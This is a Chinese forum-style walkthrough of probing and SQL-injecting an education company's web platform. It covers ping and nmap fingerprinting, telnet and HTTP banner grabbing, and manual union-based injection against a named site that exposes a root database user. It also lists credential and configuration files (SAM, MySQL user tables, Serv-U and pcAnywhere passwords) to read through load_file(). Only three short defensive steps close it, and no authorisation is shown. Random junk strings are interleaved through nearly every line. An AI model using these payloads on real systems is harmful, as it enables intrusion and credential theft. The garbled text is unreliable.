题记:$ b3 n5 i) p7 j @( h
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
3 z) v6 ?! ~1 T$ Z2 V; w2 p8 G第一步:获取需要的信息0 n; T9 V* y, }7 y; L7 l' `
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。7 a Y* s3 i1 ?8 E
注:以下为保护特用XXX代替敏感信息
' v; U6 v1 o& v6 q I/ p3 f3 c顺手先PING了一下他们的域名:
4 m6 o4 I, T( O7 l" M0 @" aping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
/ g7 }* z1 }, [( Y, o; X$ h64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms! `2 o8 v; F. w" q I& _: G0 _, F
顺便了解一下TTL,学好基础知识才能一路顺风:$ E. }% D2 K O3 Q
TTL:(Time To Live ) 生存时间; K5 S# c. C/ m% |* X
指定数据包被路由器丢弃之前允许通过的网段数量。9 M( g" I" _ i7 s0 d B
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。
& Y* T( y, k1 \) Y- C) i1 @使用PING时涉及到的 ICMP 报文类型
7 M+ d6 a$ b* t; @一个为ICMP请求回显(ICMP Echo Request)" M, y; ~, w( S3 W
一个为ICMP回显应答(ICMP Echo Reply)
! s) `% E6 @! |( u8 p' ~TTL 字段值可以帮助我们识别操作系统类型。, Y- D2 ^2 x8 F5 P2 R ]
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
( Q; z0 C6 W7 y8 E ~6 z7 c9 bCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
! \: H i- o: C8 S3 N/ N9 @# b微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
8 r, n6 ~( E1 s. g Q微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
. P! [" P( F" k, }, o+ A3 H& |% c当然,返回的TTL值是相同的
" V" `% G% N. T. y但有些情况下有所特殊+ b- S* e4 C2 y& Z1 E. z! i# U$ |
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64
* G5 ]/ t6 F5 pFreeBSD 4.1, 4.0, 3.4;" |* u+ |2 a1 }- o
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;
& b$ z1 m4 H% _6 n8 s! a7 z6 IOpenBSD 2.6, 2.7,
4 v+ s; [ T/ g) `NetBSD# t6 e0 ?* @# Q# ?) s4 h( d
HP UX 10.20
7 d, `: }3 q4 U" \+ ~ICMP 回显应答的 TTL 字段值为 255
- c! O! E, t$ h6 Z' {Windows 95/98/98SE
* ^) y' ^" ^: S3 D& b7 p% oWindows ME
( v1 O0 T9 u$ ~ ^ICMP 回显应答的 TTL 字段值为 32; C; Y3 T1 n' A& X. G- E k
Windows NT4 WRKS3 K0 t1 d: w9 |1 Y. g9 h
Windows NT4 Server
( n0 V1 j) W, ^# }Windows 2000
2 M4 q' H& h: x2 dWindows XP# k3 e8 I7 {! R& o" h
ICMP 回显应答的 TTL 字段值为 128
, I' S2 Y3 M) O! t9 b这样,我们就可以通过这种方法来辨别操作系统5 D0 Q* p0 O5 B9 W& J
TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255. e9 F4 V6 a! z, A7 x
用NMAP扫描一下:, n) r R: X% t7 _0 A$ r. D
nmap -sT -O XXX.XXX.XXX.XXX3 k7 D3 J/ T; i( N
如果没有装WinPcap则会弹出提示:0 Y; _0 p, q" X1 L
WARNING: Could not import all necessary WinPcap functions. You may need to upgr) N, |! D) M4 k- k
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
1 `- K* O T/ @, y1 q) mode — Nmap may not function completely
$ h* U6 J; @4 nTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
' p5 E) a) N% G: w, s. r; z9 Wand iphlpapi.dll be installed. You seem to be missing one or both of these. Win* @ ~) s* |: L- V. z
pcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an
; K8 Y5 C( z9 y7 `1 y4 ad later operating sytems and NT 4.0 with SP4 or greater. For previous windows v: M( q' r# u% |; z
ersions, you may be able to take iphlpapi.dll from another system and place it i$ H. ~* {& i$ B# ^8 G. t& @2 u; k+ q
n your system32 dir (e.g. c:\windows\system32)., N" j. i4 Y! i; j4 m3 ^2 B
QUITTING!
* Q. ]( m4 m$ O* w8 ]) q3 G到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe7 s0 M: F. P1 r ~2 }. B, \, Q
安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
8 x% y/ b* D$ @( `! i9 gInteresting ports on XXX.XXX.XXX.XXX:7 ~7 ^) q8 c5 t1 B% w
Not shown: 986 closed ports
, |! F* F: w% o1 e. F% g; aPORT STATE SERVICE
# @6 h: h& S% \/ q21/tcp open ftp
* s7 r5 M! P; z- O* Z% _22/tcp open ssh: l" P: P0 j7 Z, F. z& R
23/tcp open telnet& @/ I4 L5 B9 B; ?9 _1 m
80/tcp open http
& f$ b3 v+ B6 }4 L/ D# A% _' @111/tcp open rpcbind
3 J: |! h! g; F( a6 X3 p6 V, h135/tcp filtered msrpc
! y9 l5 E: J( x139/tcp filtered netbios-ssn
2 w4 }3 W6 A% g" y% r1 M1 I445/tcp filtered microsoft-ds/ z2 f; s' o7 ?3 s2 ]
513/tcp open login
4 V7 h( V) h. L+ q! B$ e514/tcp open shell
5 n3 F/ \* W4 u1 `593/tcp filtered http-rpc-epmap
% B/ B! @. Q, Q' P+ z) Z1720/tcp filtered H.323/Q.931
+ n' w C& t6 a5 Y' _- }$ G7 {+ R6 f3306/tcp open mysql% M! e$ T8 D+ k. k# j* V
4444/tcp filtered krb524
5 ~4 d+ K1 l4 eDevice type: WAP- _# K% S2 I. G9 N7 Y
Running: Linux 2.4.X9 b6 B1 R+ c5 T# m0 V8 [
OS details: DD-WRT (Linux 2.4.35s)
! Z3 ?# s) B8 oNetwork Distance: 13 hops
6 e Q$ }3 R3 X) Z4 ~9 Q4 y3 J% T看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
6 h1 ?9 Y+ {- E4 M+ y6 Qlogin as:
8 I: Y1 L: A3 K# x3 }Telnet23端口也是开着的,用telnet 命令链接一下:. T* _7 p" t! N1 f' ^% o
telnet XXX.XXX.XXX.XXX! \: G5 H1 X" b+ q
提示:
& G4 P0 B! Y- a D) {9 eRed Hat Enterprise Linux Server release 5.2 (Tikanga)
& o; ?& \3 @) O3 A) ]4 u" W; O, LKernel 2.6.18-92.el5PAE on an i686
, g1 t9 @& m, elogin:, ~$ O6 ~: {3 H
获取HTTP头信息:
* c; h% i2 V% A/ P6 `在本地执行如下PHP代码 e+ X2 f; f) w, \" R
<?php
: i: [# [7 q. ?$url = ‘XXX.XXX.XXX.XXX’;
4 v- n7 p7 W8 J( {print_r(get_headers($url));5 F( d( K X' m; n$ h
print_r(get_headers($url, 1)); I# f2 R7 g. f3 _& {2 r7 N, r; K
?>! F0 \1 D/ W8 }. D3 @2 O( W d( v
将以上代码保存为PHP文件,执行:
3 T' V# C6 {6 R# \ IArray ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )* T \6 w) G E X, B
现在可以得出结论:
; w* m1 i' ~$ W$ z系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
9 h4 l! o* J# }% e: q内核版本:Kernel 2.6.18-92.el5PAE on an i6868 g+ }" V7 h" r8 |# {
WEB服务器版本:nginx/0.7.61) n/ B- D4 F; Y0 V! S
第二步,开始测试寻找漏洞) u) Q# i6 I5 T) \" M: L1 D8 ?
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
" B4 Z7 ~; z% R* k X1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
# H7 _) q: t* z2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
- q" b5 g& @* I. Shttp://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常( [2 s# M7 ? Y) w y* [
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
( e! w( \. U9 t+ B* J0 l( Q& Z恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
# B: T( m1 }8 ?3 q3、手工注入:4 k6 p% G# j8 k: V
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。# U, `3 p' R9 y* `3 E
3.1 猜测当前表字段数/ J! {8 E6 |, k2 Q
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
: G6 s3 C; y/ G# o此处猜测有个简单的算法,都是有技巧的吗,呵呵
2 G7 K' b1 o) Z2 {3 o9 R y算法简单如下:
4 I* V7 Q/ D3 a) e2 O- o- G第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;
( p4 I/ W5 K$ D3 b L: S# O第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
+ m9 U# a: j& o需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
, ~4 s. v! ]3 L# s# h7 m以此来判断,是否过界,配合取中算法猜出字段数。
J( T0 o/ ]: C) p8 m3 z( @举例:& H/ M: K+ ?3 m5 S
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常
, f2 c* @' u9 J/ z, Ehttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
) c& N+ m6 h" c" Y此时3则为我们要找的字段数。8 e$ D. ^5 S* z$ {+ b
3.2 配合union联合查询字段在页面所位置
4 M% L- N& @( Y8 L9 k& d我们已经知道了字段数为3,此时则可以做如下操作:
& J" g5 Z) s) v: W$ Ihttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3 B( u! r; n/ g/ ]( [1 \
" I+ X. T# w3 v9 P9 ^: i: [: A这样就可以测试到哪些字段在页面上有所显示了,如图:
8 R0 G& N4 A2 I# q
' r, a/ B& n& w* Y* g* h5 F3.3 查敏感信息& `- i0 }2 l% E0 c( u9 `- Q# I
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
9 O2 l( }, H$ n V( n1 s4 Lhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
; V) ^! V: ^" q6 ^3.3.1 先查数据库用户、数据库名,以备后用,如图:& |- k$ l0 r" c& J v1 O, i
/ K7 i+ `' O" A6 _7 ^7 B得到数据库用户为root、数据库名为DBxx;
0 {! w a8 h4 w# N% E5 @! D3.3.2 查配置文件
4 a- i9 d- M% v6 {2 e! I查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。0 o, P: E& D: B1 J1 P1 D
查看文件有一定的条件限制:! S% I3 C0 T' ]% c q5 w Q: U- P8 U
欲读取文件必须在服务器上
3 \3 F0 Q1 {! D. ?1 C/ j必须指定文件完整的路径2 A6 c- B: H: u* h! C% Z
必须有权限读取并且文件必须完全可读5 U' t5 L: q8 _3 Y: R
欲读取文件必须小于 max_allowed_packet
: U0 r4 K; z4 b% Y/ C4 B7 n& _MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
+ Q' M( o0 _2 A* l. \常用的一些:
2 N7 O/ w |% H$ E( u# S/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
% \5 ~* M6 q V1 F# Q5 H/usr/local/apache2/conf/httpd.conf7 P! E0 L7 F1 w2 F7 E" i
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
0 d9 P& I5 A8 C2 V5 v/usr/local/app/php5/lib/php.ini //PHP相关设置, a0 {+ o+ l& V& N1 `
/etc/sysconfig/iptables //从中得到防火墙规则策略- |( s1 T& c- ?: h
/etc/httpd/conf/httpd.conf // apache配置文件
6 h9 F9 T+ V5 a: v E7 w9 ]/etc/rsyncd.conf //同步程序配置文件" D; `8 P7 c) N" W
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.4 y5 S" ?: t/ Q
/etc/my.cnf //mysql的配置文件
2 ^. r# h, F/ c x- M# `/etc/redhat-release //系统版本) t! X# F0 Y5 o6 W+ H' Q* A3 g
/etc/issue
4 N3 T2 X/ h( b. u% d& Z, Q/etc/issue.net
0 M5 @ V! @6 U H; I% D1 K* @ jc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码; L( J, a4 U: w$ c* h" i: \- |
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
! u$ [* B# f4 _' Fc:\Program Files\Serv-U\ServUDaemon.ini X+ c" y9 b+ j9 A% e) I
c:\windows\my.ini //MYSQL配置文件5 o9 P' G7 I) _7 C$ ~5 V
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
* m7 W7 M" w7 \/ f) q$ {" K等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,& V- P w, K' X ?, {+ h# [
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
3 y1 q1 P. Z6 ~4 C: ]% H- h Bc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
/ g: V7 T# W- yc:\Program Files\RhinoSoft.com\ServUDaemon.exe3 S* ^. Z2 |" e) \; \2 w- X" M% a# Q
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
9 c' R- Y/ R+ J( G$ B$ C//存储了pcAnywhere的登陆密码
+ i: Q* _& f% B c( A2 G由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
( z: ^# ?, G7 K/ e这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。9 ]' H6 Z6 a; o1 _; Z0 o3 O! d3 I
最后:防范措施( z: X, C, t/ c
1、修复PHP注入漏洞;
8 i' y) \' c9 i4 r7 P8 Z2、Mysql使用普通权限的用户;
9 H- k3 i' q5 Z$ i P; ~! H, \3、升级linux内核至最新版本; |